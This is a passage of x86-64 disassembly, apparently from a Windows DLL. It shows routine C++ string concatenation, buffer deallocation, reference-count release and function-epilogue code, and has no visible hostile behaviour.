lea rcx, [rbp + 0x310]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x310], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x320], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
cmp qword [rbp - 0x78], 0x10
lea rdx, [rsp + 0x70]
mov r8, rdi
lea rcx, [rbp + 0x2f0]
cmovae rdx, qword [rsp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x300], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
lea r8d, [r12 + 1]
lea rdx, [0x180113c68]
lea rcx, [rbp + 0x2d0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2e0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, rsi
lea rcx, [rbp + 0x2b0]
cmovae rdx, qword [rbp - 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2c0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
movups xmm0, xmmword [rax]
lea r8d, [r12 + 1]
lea rdx, [0x180113c68]
movups xmmword [rbp + 0x290], xmm0
lea rcx, [rbp + 0x290]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2a0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, r15
lea rcx, [rbp + 0x270]
cmovae rdx, qword [rbp - 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x270], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x280], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
xor r15d, r15d
lea r8d, [r12 + 3]
lea rdx, [0x180113c64]
lea rcx, [rbp + 0x250]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x260], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
movups xmmword [rbp + 0x430], xmm6
movups xmmword [rbp + 0x440], xmm7
cmp rdx, 0x10
jb 0x180093dd9
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093dd4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094562
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x268]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180093e24
mov rcx, qword [rbp + 0x250]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093e1f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094562
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x288]
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x268], 0xf
mov byte [rbp + 0x250], r12b
cmp rdx, 0x10
jb 0x180093e7e
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093e79
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094562
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x2a8]
mov qword [rbp + 0x280], r15
mov qword [rbp + 0x288], 0xf
mov byte [rbp + 0x270], r12b
cmp rdx, 0x10
jb 0x180093ed8
mov rcx, qword [rbp + 0x290]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093ed3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094562
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x2c8]
mov qword [rbp + 0x2a0], r15
mov qword [rbp + 0x2a8], 0xf
mov byte [rbp + 0x290], r12b
cmp rdx, 0x10
jb 0x180093f32
mov rcx, qword [rbp + 0x2b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093f2d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094562
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x2e8]
mov qword [rbp + 0x2c0], r15
mov qword [rbp + 0x2c8], 0xf
mov byte [rbp + 0x2b0], r12b
cmp rdx, 0x10
jb 0x180093f8c
mov rcx, qword [rbp + 0x2d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093f87
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094562
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x308]
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2e8], 0xf
mov byte [rbp + 0x2d0], r12b
cmp rdx, 0x10
jb 0x180093fe6
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093fe1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094562
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x328]
mov qword [rbp + 0x300], r15
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], r12b
cmp rdx, 0x10
jb 0x180094040
mov rcx, qword [rbp + 0x310]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009403b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094562
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x358]
mov qword [rbp + 0x320], r15
mov qword [rbp + 0x328], 0xf
mov byte [rbp + 0x310], r12b
cmp rdx, 0x10
jb 0x18009409a
mov rcx, qword [rbp + 0x340]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180094095
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094562
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x188]
mov qword [rbp + 0x350], r15
mov qword [rbp + 0x358], 0xf
mov byte [rbp + 0x340], r12b
cmp rdx, 0x10
jb 0x1800940f4
mov rcx, qword [rbp + 0x170]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800940ef
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094562
call fcn.1800cb8d0
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rsp + 0x70]
call fcn.1800bef90
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x70]
call fcn.1800bef90
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x50]
call fcn.1800bef90
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
inc dword [0x180129a90]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0xb0]
mov rax, rsi
mov rcx, qword [rbp + 0xb8]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf8]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0xf8]
sub rcx, qword [rbp + 0xa0]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], 0
je 0x1800941a2
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x380], xmm0
jmp 0x1800941ad
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x380], xmm0
mov rax, qword [rbp + 0x388]
sub rax, qword [rbp + 0x380]
mov rdx, qword [rsp + 0x68]
add rax, rcx
mov r15, qword [rbp - 0x78]
add rbx, rax
mov rax, qword [rsp + 0x50]
mov rsi, qword [rbp - 0x58]
mov rdi, qword [rbp - 0x38]
jmp 0x180093010
call qword [0x180129a10]
cmp rdi, 0x10
jb 0x18009421a
mov rcx, qword [rbp - 0x50]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180094215
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094568
call fcn.1800cb8d0
cmp rsi, 0x10
jb 0x180094252
mov rcx, qword [rbp - 0x70]
lea rdx, [rsi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009424d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094568
call fcn.1800cb8d0
cmp r15, 0x10
jb 0x18009428b
mov rcx, qword [rsp + 0x70]
lea rdx, [r15 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180094286
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094568
call fcn.1800cb8d0
mov r8, qword [rbp + 0xb0]
test r8, r8
je 0x180094307
mov rcx, qword [rbp + 0xc0]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x1800942e9
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094568
mov rcx, r8
call fcn.1800cb8d0
xorps xmm0, xmm0
xor esi, esi
movdqa xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rsi
jmp 0x180094309
xor esi, esi
mov rcx, qword [rbp + 0x20]
mov rdi, 0xffffffffffffffff
test rcx, rcx
je 0x18009434a
mov eax, edi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009434a
mov rbx, qword [rbp + 0x20]
test rbx, rbx
je 0x18009434a
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009432e
mov rcx, qword [rbp + 0x40]
mov qword [rbp + 0x20], rsi
test rcx, rcx
je 0x180094370
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180094370
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x48]
test rcx, rcx
je 0x1800943aa
mov eax, edi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x1800943aa
mov rbx, qword [rbp + 0x48]
test rbx, rbx
je 0x1800943aa
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009438e
mov rcx, qword [rbp + 0x68]
mov qword [rbp + 0x48], rsi
test rcx, rcx
je 0x1800943d0
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800943d0
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x70]
test rax, rax
je 0x180094408
lock xadd dword [rax + 0x2c], edi
cmp edi, 1
jne 0x180094408
mov rbx, qword [rbp + 0x70]
test rbx, rbx
je 0x180094408
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x1800943ec
mov rcx, qword [rbp + 0x90]
mov qword [rbp + 0x70], rsi
test rcx, rcx
je 0x180094431
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180094431
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rsi, qword [rbp + 0x500]
mov r15, qword [rbp + 0x4f8]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x18009447c
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180094477
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009451a
call fcn.1800cb8d0
xor edi, edi
mov rbx, qword [rbp + 0x4f0]
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x1800944cc
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x1800944c7
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180094520
mov rcx, r8
call fcn.1800cb8d0
mov rcx, rsi
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
call fcn.1800be810
mov rcx, r14
call fcn.1800be810
movaps xmm6, xmmword [rsp + 0x5a0]
mov rax, rbx
mov rbx, qword [rsp + 0x608]
movaps xmm7, xmmword [rsp + 0x590]
add rsp, 0x5b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.18008a2a0
int3
call fcn.18008a2a0
int3
call fcn.18008a2a0
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3